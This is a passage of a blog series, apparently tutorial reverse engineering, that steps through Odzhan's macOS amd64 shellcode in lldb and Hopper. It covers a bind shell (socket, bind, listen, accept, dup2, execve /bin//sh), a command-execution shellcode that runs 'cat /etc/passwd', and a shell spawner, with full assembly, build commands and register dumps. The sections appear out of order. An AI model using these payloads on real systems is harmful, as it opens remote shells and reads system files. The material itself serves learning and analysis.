     rsp = 0x00007ff7bfeff810
     ebp = 0xbfeff920
(lldb) memory read $rsp
0x7ff7bfeff810: 00 02 04 d2 00 00 00 00 1e d5 00 00 01 00 00 00  ................
0x7ff7bfeff820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

With the next instruction (<+8>) the contents of ebp are zeroed, and with the one after (<+10>) its 25th bit is set to 1:

(lldb) register read RAX EAX RSP EBP
     rax = 0x00000000d2040200
     eax = 0xd2040200
     rsp = 0x00007ff7bfeff810
     ebp = 0x02000000

This closes the analysis of the first chunk.

Socket

The disassembled code for Socket is:

    0x100003f6b <+14>: push   rbp
    0x100003f6c <+15>: pop    rax
    0x100003f6d <+16>: cdq    
    0x100003f6e <+17>: push   0x1
    0x100003f70 <+19>: pop    rsi
    0x100003f71 <+20>: push   0x2
    0x100003f73 <+22>: pop    rdi
    0x100003f74 <+23>: mov    al, 0x61
    0x100003f76 <+25>: syscall 
    0x100003f78 <+27>: xchg   eax, edi
    0x100003f79 <+28>: xchg   eax, ebx

The contents of rbp are stored in the stack (instruction <+14>), and then retrieved and pushed into rax (instruction <+15>).

(lldb) register read RAX EAX RSP EBP
     rax = 0x00000000d2040200
     eax = 0xd2040200
     rsp = 0x00007ff7bfeff808
     ebp = 0x02000000
(lldb) memory read $rsp
0x7ff7bfeff808: 00 00 00 02 00 00 00 00 00 02 04 d2 00 00 00 00  ................
0x7ff7bfeff818: 1e d5 00 00 01 00 00 00 00 00 00 00 00 00 00 00  ................

and after instruction <+15>

(lldb) register read RAX EAX RSP EBP
     rax = 0x0000000002000000
     eax = 0x02000000
     rsp = 0x00007ff7bfeff810
     ebp = 0x02000000

Now, we have already seen the CDQ instruction (converts a doubleword to a quadword) and the fact it zeroes the values of EDX and EAX (in this case, because the first register is positive). Shortly, before instruction <+16> we have

(lldb) register read RSP EBP    DX AX EDX EAX RDX RAX
     rsp = 0x00007ff7bfeff810
     ebp = 0x02000000
      dx = 0xf958
      ax = 0x0000
     edx = 0xbfeff958
     eax = 0x02000000
     rdx = 0x00007ff7bfeff958
     rax = 0x0000000002000000

and after it, we have

     rsp = 0x00007ff7bfeff810
     ebp = 0x02000000
      dx = 0x0000
      ax = 0x0000
     edx = 0x00000000
     eax = 0x02000000
     rdx = 0x0000000000000000
     rax = 0x0000000002000000

Then 1 is pushed in the stack (instruction <+17>):

(lldb) memory read $rsp
0x7ff7bfeff808: 01 00 00 00 00 00 00 00 00 02 04 d2 00 00 00 00  ................
0x7ff7bfeff818: 1e d5 00 00 01 00 00 00 00 00 00 00 00 00 00 00  ................
(lldb) register read RSP EBP RSI RDI DX AX EDX EAX RDX RAX
     rsp = 0x00007ff7bfeff808
     ebp = 0x02000000
     rsi = 0x00007ff7bfeff948
     rdi = 0x0000000000000001
      dx = 0x0000
      ax = 0x0000
     edx = 0x00000000
     eax = 0x02000000
     rdx = 0x0000000000000000
     rax = 0x0000000002000000

and popped back into rsi (instruction <+19>).

(lldb) register read RSP EBP RSI RDI DX AX EDX EAX RDX RAX
     rsp = 0x00007ff7bfeff810
     ebp = 0x02000000
     rsi = 0x0000000000000001
     rdi = 0x0000000000000001
      dx = 0x0000
      ax = 0x0000
     edx = 0x00000000
     eax = 0x02000000
     rdx = 0x0000000000000000
     rax = 0x0000000002000000
(lldb) memory read $rsp
0x7ff7bfeff810: 00 02 04 d2 00 00 00 00 1e d5 00 00 01 00 00 00  ................
0x7ff7bfeff820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Similarly, the instructions <+20> and <+22> store the value 2 in rdi, leading to the following situation:

(lldb) register read RSP EBP RSI RDI DX AX EDX EAX RDX RAX
     rsp = 0x00007ff7bfeff810
     ebp = 0x02000000
     rsi = 0x0000000000000001
     rdi = 0x0000000000000002
      dx = 0x0000
      ax = 0x0000
     edx = 0x00000000
     eax = 0x02000000
     rdx = 0x0000000000000000
     rax = 0x0000000002000000

The very next instruction (<+23>) moves 0x61 in the lowest 8 bits of eax. 0x61 in decimal is 97. If we look in the syscalls.master file, we immediately notice that this is the number associated to the syscall socket.

Now, a man 2 socket gives the description of the command, which in C would be invoked as follows:

     #include <sys/socket.h>

     int
     socket(int domain, int type, int protocol);

Shortly, socket() creates an endpoint for communication and returns a descriptor.

In the man page, we find the description of the parameters:

The domain parameter specifies a communications domain within which communication will take place; this selects the protocol family which should be used.

These families are defined in the include file ⟨sys/socket.h⟩. The currently understood formats are:

PF_LOCAL        Host-internal protocols, formerly called PF_UNIX,
PF_UNIX         Host-internal protocols, deprecated, use PF_LOCAL,
PF_INET         Internet version 4 protocols,
PF_ROUTE        Internal Routing protocol,
PF_KEY          Internal key-management function,
PF_INET6        Internet version 6 protocols,
PF_SYSTEM       System domain,
PF_NDRV         Raw access to network device,
PF_VSOCK        VM Sockets protocols

The socket has the indicated type, which specifies the semantics of communication. Currently defined types are:

SOCK_STREAM
SOCK_DGRAM
SOCK_RAW

A SOCK_STREAM type provides sequenced, reliable, two-way connection based byte streams. An out-of-band data transmission mechanism may be supported. A SOCK_DGRAM socket supports datagrams (connectionless, unreliable messages of a fixed (typically small) maximum length). SOCK_RAW sockets provide access to internal network protocols and interfaces. The type SOCK_RAW, which is available only to the super-user.

The protocol specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family. However, it is possible that many protocols may exist, in which case a particular protocol must be specified in this manner. The protocol number to use is particular to the “communication domain” in which communication is to take place; see protocols(5).

To understand what the author originally wanted to achieve, let's take a look at the code.

The original call to the socket() API was intended to be:

socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

In the socket.h we find the definition of AF_INET as follows:

#define AF_INET         2               /* internetwork: UDP, TCP, etc. */

So, AF_INET and PF_INET in this case behave in the same manner.

The author wants a TCP connection, so he decided to use SOCK_STREAM.

Also SOCK_STREAM is defined in socket.h:

#define SOCK_STREAM     1               /* stream socket */

Finally, to leverage the IP protocol, the third parameter to the function has to be IPPROTO_IP. This is defined in the in.h header:

#define IPPROTO_IP              0               /* dummy for IP */

To recap, the call should be invoked as:

socket(2,1,0)

so:

Taking a look at the last status of the registers, we see that the program is ready to invoke the socket syscall.

Let's review the contents of the registers before and after the syscall:

We observe that the values of RAX and RCX have changed. In fact, RAX will contain the return value of socket, which is a file descriptor.

The part Socket finishes with the two XCHG instructions (<+27> and <+28>). The XCHG instruction exchanges the contents of a register with the contents of another register or the contents of memory locations. It cannot exchange the contents of two memory locations directly.

The effect of these two instructions are:

• With the first one, the values of eax and edi are swapped.
• With the second one, the values of eax (former value of edi) and ebx are swapped.

Shortly, we have:

Bind

This part is quite complex. The assembled code is not very different from the original - in fact, we have:

    0x100003f7a <+29>: push   rbp
    0x100003f7b <+30>: pop    rax
    0x100003f7c <+31>: push   rsp
    0x100003f7d <+32>: pop    rsi
    0x100003f7e <+33>: mov    dl, 0x10
    0x100003f80 <+35>: mov    al, 0x68
    0x100003f82 <+37>: syscall

whilst the pushes and the pops look quite familiar the mov instructions deserve some analysis.

The effect of the first two instructions is copying the contents of rbp into rax; and the effect of the third and fourth instructions is copying the contents of rsp into rsi. We show the first two instructions. With the first instruction (<+29>), the stack base pointer is pushed to the stack, and with the next instruction, it is popped in the RAX register. It's worth remembering that before the code was executed, the contents of RBP was 0x0000000002000000.

Before going any further, we observe that the code shall set the last 8 bits of rax (this is what al is) to 0x68, or in decimal 104. This is the number of syscall that will be called. A quick look in the syscalls.master file shows that this is the syscall:

104    AUE_BIND    ALL    { int bind(int s, caddr_t name, socklen_t namelen) NO_SYSCALL_STUB; }

so we know we need to invoke man 2 bind from the terminal to get some more information on the API. In this case, we have:

#include <sys/socket.h>

int bind(int socket, const struct sockaddr *address, socklen_t address_len);

bind() assigns a name to an unnamed socket. When a socket is created with socket(2) it exists in a name space (address family) but has no name assigned. bind() requests that address be assigned to the socket.

The second parameter to this call is of type struct sockaddr and the third is basically an integer containing the length of that structure.

We need to do some reverse engineering of the Apple XNU code, now.

The struct sockaddr is described in the file in.h we have:

struct sockaddr_in {
    __uint8_t       sin_len;
    sa_family_t     sin_family;
    in_port_t       sin_port;
    struct  in_addr sin_addr;
    char            sin_zero[8];
};

In order to find the third parameter, we need to determine the sizes of all types. In the same file, we immediately find

struct in_addr {
    in_addr_t s_addr;
};

so we need to give a size to the following types:

To speed up things, we wrote a little program to find the sizes of the integer types:

#include <iostream>
#include <inttypes.h>

using namespace std;

int main ()
{
  cout << "sizeof size_t type is: " << sizeof(size_t) << " bytes\n";
  cout << "sizeof char type is: " << sizeof(char) << " bytes\n";
  cout << "sizeof uint8_t type is: " << sizeof(uint8_t) << " bytes\n";
  cout << "sizeof __uint8_t type is: " << sizeof(__uint8_t) << " bytes\n";
  cout << "sizeof uint16_t type is: " << sizeof(uint16_t) << " bytes\n";
  cout << "sizeof __uint16_t type is: " << sizeof(__uint16_t) << " bytes\n";
  cout << "sizeof uint32_t type is: " << sizeof(uint32_t) << " bytes\n";
  cout << "sizeof __uint32_t type is: " << sizeof(__uint32_t) << " bytes\n";
  cout << "sizeof uint64_t type is: " << sizeof(uint64_t) << " bytes\n";
  cout << "sizeof __uint64_t type is: " << sizeof(__uint64_t) << " bytes\n";
  return 0;
}

running it gives us:

sizeof size_t type is: 8 bytes
sizeof char type is: 1 bytes
sizeof uint8_t type is: 1 bytes
sizeof __uint8_t type is: 1 bytes
sizeof uint16_t type is: 2 bytes
sizeof __uint16_t type is: 2 bytes
sizeof uint32_t type is: 4 bytes
sizeof __uint32_t type is: 4 bytes
sizeof uint64_t type is: 8 bytes
sizeof __uint64_t type is: 8 bytes

So, let's enrich the previous table:

To fix the ideas, the struct sockaddr_in has the following sizes

struct sockaddr_in {
    __uint8_t       sin_len;            //1 byte
    sa_family_t     sin_family;         //1 byte
    in_port_t       sin_port;           //2 bytes
    struct  in_addr sin_addr;           //4 bytes
    char            sin_zero[8];        //8 bytes
};

In short, this structure is 16 bytes long. We can represent it graphically as follows:

At the very moment, the situation is as follows:

Let's go back to the code. The effect of the instruction <+33> is to load 0x10 = 16 to the last 8 bits of rdx, thus setting the third parameter (the size) to the bind() call.

In a similar way, the instruction <+35> prepares the syscall by finalising its number.

In short, we have:

     rdi = 0x0000000000000003
     rsi = 0x00007ff7bfeff870
     rdx = 0x0000000000000010
     rax = 0x0000000002000068

Now it's interesting to see the values of the structure. Let's read 16 bytes of the stack, starting from rsi:

(lldb) register read rsi
     rsi = 0x00007ff7bfeff870
(lldb) memory read $rsi-0x10 $rsi+0x10
0x7ff7bfeff860: 14 00 00 00 00 00 00 00 70 f8 ef bf f7 7f 00 00  ........p.......
0x7ff7bfeff870: 00 02 04 d2 00 00 00 00 1e d5 00 00 01 00 00 00  ................

Now, using the graphical schema that we have shown before will help visualising memory allocation:

00 00 00 00 is a constant defined in in.h (the symbolic name is INADDR_ANY) and represents any possible internet address - in other words, the shellcode will accept incoming connections from any host.

This closes the analysis of bind. Phew!

Listen

The disassembled code for this chunk doesn't differ from the original:

    0x100003f84 <+39>: push   rax
    0x100003f85 <+40>: pop    rsi
    0x100003f86 <+41>: push   rbp
    0x100003f87 <+42>: pop    rax
    0x100003f88 <+43>: mov    al, 0x6a
    0x100003f8a <+45>: syscall

Here the syscall has number 106, which is defined in the syscalls.master file as follows:

106    AUE_LISTEN    ALL    { int listen(int s, int backlog) NO_SYSCALL_STUB; }

so, we follow the methodology that we adopted before - it should be clear by now that the first thing to do is launching man 2 listen and analysing the result. In this case, the API is defined as follows:

#include <sys/socket.h>

int listen(int socket, int backlog);

Creation of socket-based connections requires several operations. First, a socket is created with socket(2). Next, a willingness to incoming connections and a queue limit for incoming connections are specified with listen(). Finally, the connections are accepted with accept(2). The listen() call applies only to sockets of type SOCK_STREAM.

The backlog parameter defines the maximum length for the queue of pending connections. If a connection request arrives with the queue full, the client may receive an error with an indication of ECONNREFUSED. Alternatively, if the underlying protocol supports retransmission, the request may be ignored so that retries may succeed.

In this case, we are happy with no backlog management, so we will pass a zero (NULL) value.

The instructions <+39> to <+42> set the contents of RSI to those of RAX, and the contents of RAX to those of RBP:

The final effect is zeroing RSI (which is fine, because RSI is what is used to pass the second arguments to functions) and preparing RAX for the syscall. The first argument to the function is passed through the register RDI that has been set before and not changed yet.

(lldb) register read rdi
     rdi = 0x0000000000000003

So, the effect of the instruction <+43> is to set the lowest byte of rax to 106 and prepare for the syscall which is in <+45>.

Accepting incoming connections

I must admit I have been a little puzzled by the remaining part of the disassembled code. Before commenting, let's take a look at what we have:

bindshell[0x100003f8c] <+47>: push   rbp
bindshell[0x100003f8d] <+48>: pop    rax
bindshell[0x100003f8e] <+49>: mov    al, 0x1e
bindshell[0x100003f90] <+51>: cdq    
bindshell[0x100003f91] <+52>: syscall 
bindshell[0x100003f93] <+54>: xchg   eax, edi
bindshell[0x100003f94] <+55>: push   rbx
bindshell[0x100003f95] <+56>: pop    rsi

There is only ONE syscall invocation, and there are no jump instructions, hence no loop.

The effect of the instructions <+47>...<+49> is preparing the syscall. The syscall number is 0x1e, or in decimal 30.

The reason for this is my shallowness when analysing. I disassembled the main subroutine, but as a matter of fact, the loop takes place in a labeled environment, which is another subroutine. In fact, if I execute:

(lldb) disassemble -n dup_loop64
bindshell`dup_loop64:
bindshell[0x100003f96] <+0>:  push   rbp
bindshell[0x100003f97] <+1>:  pop    rax
bindshell[0x100003f98] <+2>:  mov    al, 0x5a
bindshell[0x100003f9a] <+4>:  syscall 
bindshell[0x100003f9c] <+6>:  sub    esi, 0x1
bindshell[0x100003f9f] <+9>:  jns    0x100003f96               ; <+0>
bindshell[0x100003fa1] <+11>: xor    esi, esi
bindshell[0x100003fa3] <+13>: cdq    
bindshell[0x100003fa4] <+14>: movabs rbx, 0x68732f2f6e69622f
bindshell[0x100003fae] <+24>: push   rdx
bindshell[0x100003faf] <+25>: push   rbx
bindshell[0x100003fb0] <+26>: push   rsp
bindshell[0x100003fb1] <+27>: pop    rdi
bindshell[0x100003fb2] <+28>: push   rbp
bindshell[0x100003fb3] <+29>: pop    rax
bindshell[0x100003fb4] <+30>: mov    al, 0x3b
bindshell[0x100003fb6] <+32>: syscall

I obtain the missing part of the code.

Now, if we look to other xnu versions, the API 30 is documented. Especially if we look at the URI: https://opensource.apple.com/source/xnu/xnu-7195.50.7.100.1/bsd/kern/syscalls.master.auto.html we have the following:

30    AUE_ACCEPT    ALL    { int accept(int s, caddr_t name, socklen_t    *anamelen) NO_SYSCALL_STUB; }

which is more actionable. Defined as

#include <sys/socket.h>

int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len);

the man page for this API contains:

The argument socket is a socket that has been created with socket(2), bound to an address with bind(2), and is listening for connections after a listen(2). accept() extracts the first connection request on the queue of pending connections, creates a new socket with the same properties of socket, and allocates a new file descriptor for the socket. If no pending connections are present on the queue, and the socket is not marked as non-blocking, accept() blocks the caller until a connection is present. If the socket is marked non-blocking and no pending connections are present on the queue, accept() returns an error as described below. The accepted socket may not be used to accept more connections. The original socket socket, remains open.

The argument address is a result parameter that is filled in with the address of the connecting entity, as known to the communications layer. The exact format of the address parameter is determined by the domain in which the communication is occurring. The address_len is a value-result parameter; it should initially contain the amount of space pointed to by address; on return it will contain the actual length (in bytes) of the address returned. This call is used with connection-based socket types, currently with SOCK_STREAM.

It is possible to select(2) a socket for the purposes of doing an accept() by selecting it for read.

Now let's reverse engineer this call. The status of the registers is:

The first parameter is the usual file descriptor for the socket. Nothing new. As for the two remaining parameters, they are not very relevant here, as they are used when storing the address of the incoming requests.

Once the syscall is executed, the program accepts incoming connections, creating a file descriptor for it.

The values of RAX and RDI are exchanged, so RAX will contain the socket file descriptor and RDI the connection file descriptor (instruction <+54>).

The instructions <+55> and <+56> simply store the value of RBX into RSI.

Now the control flows reaches the dup_loop64 label. We enter the Handle management section.

Before getting there, let's dump the status of the registers:

(lldb) register read 
General Purpose Registers:
       rax = 0x0000000000000003
       rbx = 0x0000000000000002
       rcx = 0x0000000100003f93  bindshell`main + 54
       rdx = 0x0000000000000000
       rdi = 0x000000000000000e
       rsi = 0x0000000000000002
       rbp = 0x0000000002000000
       rsp = 0x00007ff7bfeff8a0
        r8 = 0x00000000001085b1
        r9 = 0xffffffff00000000
       r10 = 0x0000000000000000
       r11 = 0x0000000000000347
       r12 = 0x00000001000883a0  dyld`_NSConcreteStackBlock
       r13 = 0x00007ff7bfeff958
       r14 = 0x0000000100003f5d  bindshell`main
       r15 = 0x0000000100074010  dyld`dyld4::sConfigBuffer
       rip = 0x0000000100003f96  bindshell`dup_loop64
    rflags = 0x0000000000000247
        cs = 0x000000000000002b
        fs = 0x0000000000000000
        gs = 0x0000000000000000

Handle management

We need to redirect STDIN, STDOUT, and STDERR to the newly created connection. This is accomplished in this loop:

    0x100003f96 <+0>:  push   rbp
    0x100003f97 <+1>:  pop    rax
    0x100003f98 <+2>:  mov    al, 0x5a
    0x100003f9a <+4>:  syscall 
    0x100003f9c <+6>:  sub    esi, 0x1
    0x100003f9f <+9>:  jns    0x100003f96               ; <+0>

Before the loop takes place, we have rsi = 0x0000000000000002. The instructions <+6> and <+7> respectively decrement the register and jump to the label in case of a negative value, in other words, rsi will take the values 2, 1, 0 throughout the loop. These are respectively the symbolic constants STDERR, STDOUT, and STDIN. Since rsi contains the second parameter to any API, this loop will have the syscall invoked with the three constants. The first three instructions instantiate the value of RAX for the syscall.

Now, 0x5a in decimal is 90, corresponding to the syscall:

90      AUE_DUP2        ALL     { int sys_dup2(u_int from, u_int to); }

and we already know what we have to do: man 2 dup2.

Chiefly, this call duplicates an existing object descriptor to another. In this case, this implements the redirection.

Shell execution

We already discussed this code in Come taste some shellcode....

Conclusions

This lesson has been very productive, in fact we obtained:

1. learning how to produce a null-byte-free code
2. reviewed some techniques to set the syscall numbers
3. learned about some types' sizes
4. got acquainted (hopefully!) with AMD calling conventions
5. learned a methodology to investigate syscalls
6. learned how to pass pointers to routines and about the stack.

I must admit that the usage of lldb for complex projects may not be sufficient. I am making a point of approaching larger projects with two disassemblers side by side.

In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page Shellcode: Mac OSX amd64.

In the last article, Come taste some shellcode..., we introduced some basic binary analysis and we learned how to call a syscall with no arguments. In this article, we will analyse how to work with more complex arguments.

I will also introduce the hopper disassembler (https://www.hopperapp.com/), one of the tools I use the most.

Execute a command

We start with the code:

; 43 bytes execute command
;
bits    64

global _main
_main:
    push    59
    pop     rax         ; eax = sys_execve
    cdq                 ; edx = 0
    bts     eax, 25     ; eax = 0x0200003B
    mov     rbx, '/bin//sh'
    push    rdx         ; 0
    push    rbx         ; "/bin//sh"
    push    rsp
    pop     rdi         ; rdi="/bin//sh", 0
    ; ---------
    push    rdx         ; 0
    push    word '-c'
    push    rsp
    pop     rbx         ; rbx="-c", 0
    push    rdx         ; argv[3]=NULL
    jmp     l_cmd64

r_cmd64:                ; argv[2]=cmd
    push    rbx         ; argv[1]="-c"
    push    rdi         ; argv[0]="/bin//sh"
    push    rsp
    pop     rsi         ; rsi=argv
    syscall

l_cmd64:
    call    r_cmd64
    ; put your command here followed by null terminator
    db      'cat /etc/passwd',0

We compile and link it:

gbiondo@tripleX Odzhan % nasm -f macho64 cmdRun.asm
gbiondo@tripleX Odzhan % ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o cmdRun cmdRun.o

and we can obviously run it. I will not - why should I disclose the users in my machine, anyway? - however, it runs perfectly on my MacOS Monterey.

A bit of static analysis

If you read this blog, the following commands should not be new to you. If not, you may want to read previous articles :) or do some man around.

Getting information about the executable

gbiondo@tripleX Odzhan % file cmdRun
cmdRun: Mach-O 64-bit executable x86_64

No surprises here. Just compare the above with how we compiled the file.

Looking for C strings

There is none. in fact:

gbiondo@tripleX Odzhan % strings cmdRun
gbiondo@tripleX Odzhan %

Getting information about the sections

This is a very simple program, after all:

gbiondo@tripleX Odzhan % objdump -m --section-headers cmdRun

Sections:
Idx Name          Size     VMA              Type
  0 __text        0000003b 0000000100003f7d TEXT
  1 __unwind_info 00000048 0000000100003fb8 DATA

Getting the symbol table

No big hint is given by the symbol table:

gbiondo@tripleX Odzhan % objdump -m --syms cmdRun           
cmdRun:

SYMBOL TABLE:
0000000100003f9d l     F __TEXT,__text r_cmd64
0000000100000000 g       *ABS* __mh_execute_header
0000000100003f7d g     F __TEXT,__text _main

Dynamic Analysis

Time for some debugging. This time we are using Hopper. This is not supposed to be a tutorial for hopper (which can be found here: https://www.hopperapp.com/tutorial.html or under the menu Help of the application).

Let's remember what an execve-based shellcode must do:

• first parameter must be stored in RDI. It is a pointer to a string, holding the path of the executable.
• second parameter must be stored in RSI. It is a pointer to a null-terminated array of strings, containing the parameters to the command.
• third parameter must be stored in RDX. It is a pointer to a null-terminated array of strings, containing the environment variables.

I am choosing Select Debugger from the Debug menu, and I opt for the local debugger. I am then presented with this window:

Observe the "Controls" box. There are 10 buttons. From left to right, these are:

• Continue execution
• Pause execution
• Step into
• Step out
• Step over
• Continue until current position
• Continue until basic block end
• Trace procedure
• Stop execution
• Toggle breakpoint

Below, a Tab View controller can be seen. It contains four main areas we are interested into:

• General purpose registers (GPR)
• Memory
• Debugger Console
• Application Output

I also set a breakpoint at the beginning of the main routine:

It's worthwhile to set some breakpoints around. At the beginning, we'll stop at each single instruction.

If we set a breakpoint to the very next instruction and we hit Continue execution twice, we'll notice how the contents of the RAX register changes (59 has been pushed to the stack and then popped to RAX).

Before:

After:

If we continue, there's the CDQ instruction. It sets RDX=0, since EAX is signed positive at the current point (see below).

Then the 25th bit is set to 1 - this technique should already be familiar to the reader, we won't illustrate it.

With the next instruction we can see something I love about Hopper. The instruction is illustrated below:

or, in plain text

movabs     rbx, 0x68732f2f6e69622f

If we right click on the 0x68732f2f6e69622f operand and select "Characters", we convert it into something more human readable (in this case, /bin//sh). Good job, Hopper!

and RBX will be updated accordingly.

We hit continue, and first the contents of RDX (a zeroed register) and the contents of RBX (0x68732F2F6E69622F, the string /bin//sh) are pushed to the stack. After this, we obtain a null-terminated string containing /bin//sh.

In fact, before running the instructions, RSP, the stack pointer, points to 00007FF7BFEFFA68. The contents of the memory can be seen in the third line of the memory dump of the image below:

Then RDX is pushed and RSP updated accordingly, so RSP becomes 00007FF7BFEFFA60. The stack is updated, see second line of the memory pane:

Finally RBX is pushed and we have:

• RSP: contains 00007FF7BFEFFA58
• RBX: contains 68732F2F6E69622F
• and the stack is represented below

The contents of the stack are then popped in RDI. Let's have a look at what we have after the instruction pop rdi is executed:

Now the contents of RDX are pushed in the stack, and then we push also the constant 0x632d, which is the string -c. See below:

The stack looks as follows:

The next instruction pushes the contents of rsp in the stack, then the value is popped in rbx:

Finally, the value of rdx, which is null, is pushed into the stack. Now there's a noticeable difference between the original code, with two labels (r_cmd64 and l_cmd64), and the code that's been first assembled and linked, then disassembled. Only r_cmd64 is present, and the instruction jmp r_cmd64+6 is used instead. When hit 'continue', the jump sends the control flow to 0x0000000100003FA3 which contains call r_cmd64. Why jumping back and forth? The reason is that this way we place the pointer to the command string in the stack. Below there's the 'before'...

...and the 'after':

Now it's possible pushing rsp and popping the value into rsi:

and

Finally the syscall is invoked, and the execution of the shellcode terminates.

Conclusions

As strange as it may seem, I find easier working with lldb - but I am an old guy :) Hopper has powerful features anyway - I am using it for many other purposes (like changing memory contents on the fly).

We have shown how to approach some static and dinamic binary analysis for this kind of programs.

Finally: we start to understand assembly, but always having no talent and being proud of having none!

In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page Shellcode: Mac OSX amd64.

This is a wonderful way to learn some assembly on MacOS, and introduce some secure software development practices.

Plus, it is fun!

Spawning a shell

This is the shellcode. Where it all begins. This will help us to introduce syscalls and the syscall we'll use the most, execve.

Let's start with some definitions. We'll borrow Wikipedia's:

Syscall

a system call (commonly abbreviated to syscall) is the programmatic way in which a computer program requests a service from the kernel of the operating system on which it is executed. This may include hardware-related services (for example, accessing a hard disk drive or accessing the device's camera), creation and execution of new processes, and communication with integral kernel services such as process scheduling. System calls provide an essential interface between a process and the operating system.

Syscalls are widely used throughout programs - the concept is not strange at all.

Shellcode

a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

So the "shellcode" is actually the exploit, the hack, the payload, the call-it-whatever that subverts the program.

As we are talking about Apple MacOS, we'll largely refer to XNU's source code - especially the syscalls.master file.

Let's see the original code.

; 26 bytes execute /bin/sh
;
bits    64
global _main
_main:

    xor     esi, esi         ; esi = 0
    mul     esi              ; eax = 0, edx = 0
    bts     eax, 25          ; eax = 0x02000000
    mov     al, 59           ; rax = sys_execve
    mov     rbx, '/bin//sh'
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; rdi="/bin//sh", 0
    syscall

We first observe that there is some usage inconsistency, here. e* registers are 32 bits, al is 16 bits, and r* registers are 64 bits. However, this code compiles and runs:

gbiondo@tripleX Odzhan % nasm -f macho64 shellspawn.asm                                                                       
gbiondo@tripleX Odzhan % ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem -o shellspawn shellspawn.o
gbiondo@tripleX Odzhan % ./shellspawn                                                                                         

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$ ps -ef |grep -i bash
    0   695   621   0 Sun12PM ttys000    0:00.03 login -pfl gbiondo /bin/bash -c exec -la zsh /bin/zsh
  503 46117   703   0  2:30PM ttys001    0:00.01 (bash)
  503 46123 46117   0  2:30PM ttys001    0:00.00 grep -i bash
    0 23384   621   0  4:13PM ttys002    0:00.02 login -pfl gbiondo /bin/bash -c exec -la zsh /bin/zsh
bash-3.2$ exit
gbiondo@tripleX Odzhan %

In the result of the process status command, we see that the command that has been run is /bin/bash -c exec -la zsh /bin/zsh. Shortly, the code before spawns a shell.

To understand what is going on in the program, one should know how parameters are passed to invoked routines and what parameters are required to syscall.

In detail:

• Destination index register is used for string, memory array copying and setting, and for far pointer addressing with ES.
• Source index register is used for string and memory array copying.
• Data register is used for I/O port access, arithmetic, some interrupt calls. The data register is used in I/O operations as well as preferred in division and multiplication.

We invoke syscalls by loading in the register RAX (the accumulation register, which is used for I/O port access, arithmetic, interrupt calls, etc.) the number of the syscall added to 0x2000000.

Having said this, we need to understand how to find syscalls numbers. Here is where the syscalls.master comes into play. In fact, there is where all the syscalls are defined:

0    AUE_NULL    ALL    { int nosys(void); }   { indirect syscall }
1    AUE_EXIT    ALL    { void exit(int rval) NO_SYSCALL_STUB; }
2    AUE_FORK    ALL    { int fork(void) NO_SYSCALL_STUB; }
3    AUE_NULL    ALL    { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4    AUE_NULL    ALL    { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
[... SNIP ...]
57    AUE_SYMLINK    ALL    { int symlink(char *path, char *link); }
58    AUE_READLINK    ALL    { int readlink(char *path, char *buf, int count); }
59    AUE_EXECVE    ALL    { int execve(char *fname, char **argp, char **envp); }
60    AUE_UMASK    ALL    { int umask(int newmask); }
61    AUE_CHROOT    ALL    { int chroot(user_addr_t path); }
[... SNIP ...]

So the code moves into RAX the value 59, which is linked to the execve syscall. This API requires:

• fname, which is a pointer to a char array (in plain English: a string)
• argp, which is a pointer to a pointer to a char array (in plain English: an array of strings)
• envp, which is a pointer to a pointer to a char array (in plain English: an array of strings)

A quick look at the man page (man 2 execve) gives a clearer explanation. For starters, the signature of this API is:

int execve(const char *path, char *const argv[], char *const envp[]);

and the description states:

execve() transforms the calling process into a new process. The new process is constructed from an ordinary file, whose name is pointed to by path, called the new process file. This file is either an executable object file, or a file of data for an interpreter. An executable object file consists of an identifying header, followed by pages of data representing the initial program (text) and initialized data pages.

[...]

If any optional args are specified, they become the first (second, ...) argument to the interpreter

[...]

The zeroth argument, normally the name of the execve()'d file, is left unchanged.

[...]

The argument argv is a pointer to a null-terminated array of character pointers to null-terminated character strings. These strings construct the argument list to be made available to the new process. At least one argument must be present in the array; by custom, the first element should be the name of the executed program (for example, the last component of path).

[...]

The argument envp is also a pointer to a null-terminated array of character pointers to null-terminated strings. A pointer to this array is normally stored in the global variable environ. These strings pass information to the new process that is not directly an argument to the command (see environ(7)).

[...]

Nuff said. Let's go through the code. The best way to do this is to debug it. We have seen already how this can be done with lldb in a previous article, but first it is meaningful to see the sections of this binary:

objdump --arch=x86_64 -m --section-headers shellspawn

Sections:
Idx Name          Size     VMA              Type
  0 __text        0000001a 0000000100003f9e TEXT
  1 __unwind_info 00000048 0000000100003fb8 DATA

Time to disassemble. As I usually do, I start with a breakpoint in the main routine and disassemble it. The result won't be much different from what we wrote:

(lldb) breakpoint set -name main
Breakpoint 1: where = shellspawn`main, address = 0x0000000100003f9e
(lldb) breakpoint list
Current breakpoints:
1: name = 'main', locations = 1
  1.1: where = shellspawn`main, address = shellspawn[0x0000000100003f9e], unresolved, hit count = 0 

(lldb) disassemble -n main
shellspawn`main:
shellspawn[0x100003f9e] <+0>:  xor    esi, esi
shellspawn[0x100003fa0] <+2>:  mul    esi
shellspawn[0x100003fa2] <+4>:  bts    eax, 0x19
shellspawn[0x100003fa6] <+8>:  mov    al, 0x3b
shellspawn[0x100003fa8] <+10>: movabs rbx, 0x68732f2f6e69622f
shellspawn[0x100003fb2] <+20>: push   rdx
shellspawn[0x100003fb3] <+21>: push   rbx
shellspawn[0x100003fb4] <+22>: push   rsp
shellspawn[0x100003fb5] <+23>: pop    rdi
shellspawn[0x100003fb6] <+24>: syscall

